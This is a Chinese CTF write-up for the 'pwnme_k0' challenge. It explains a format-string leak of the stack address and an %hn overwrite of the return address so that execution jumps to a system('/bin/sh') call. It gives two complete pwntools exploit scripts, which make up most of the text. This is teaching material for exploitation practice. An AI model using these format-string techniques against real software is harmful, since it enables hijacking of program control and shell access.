用格式化串先读offst 6,也就是0x7fffffffdd20,得到rbp地址:0x7fffffffdd60,再减去0x38就得到存储返回地址的内存地址是0x7fffffffdd28

然后就可以去覆盖这个地址存放的返回值为我们的system(‘/bin/sh’)即0x4008A6,即需要把400D74覆盖成4008A6,即:写成0x08A6 = 2214。

这里需要说明的是在某些较新的系统 (如 ubuntu 18.04) 上, 直接修改返回地址为 0x00000000004008A6 时可能会发生程序 crash, 这时可以考虑修改返回地址为 0x00000000004008AA, 即直接调用 system("/bin/sh") 处,即2218

exp1:通过把 username 改成计算出来的 ret 的地址

from pwn import *
io = process("./pwnme_k0")
context.log_level="debug"
##get retaddr
io.recv()
io.sendline("1"*8)
io.recv()
io.sendline("%6$p")
io.recv()
io.sendline("1")
io.recvuntil("0x")
retaddr = int(io.recvline().strip(), 16) - 0x38
##print "retaddr = " + hex(retaddr)
io.sendline("2")
io.recv()
io.sendline(p64(retaddr))
io.recv()
io.sendline("%2218d%8$hn")
io.recv()
io.sendline("1")
io.recv()
io.interactive()

Exp2:在 password 后面跟上 ret 地址来修改

from pwn import *
elf=ELF('./pwnme_k0')
p=process('./pwnme_k0')
p.recv()
p.sendline('a'*8)
p.recv()
p.sendline('%6$p')
p.recv()
p.sendline('1')
p.recvuntil("0x")
ret_addr = int(p.recvline().strip(), 16) - 0x38
p.sendline('2')
p.recv()
p.sendline('b'*8)
p.recv()
payload = "%2218u%12$hn" + p64(ret_addr)
p.send(payload)
p.recvuntil('>')
p.sendline('1')
p.interactive()
0%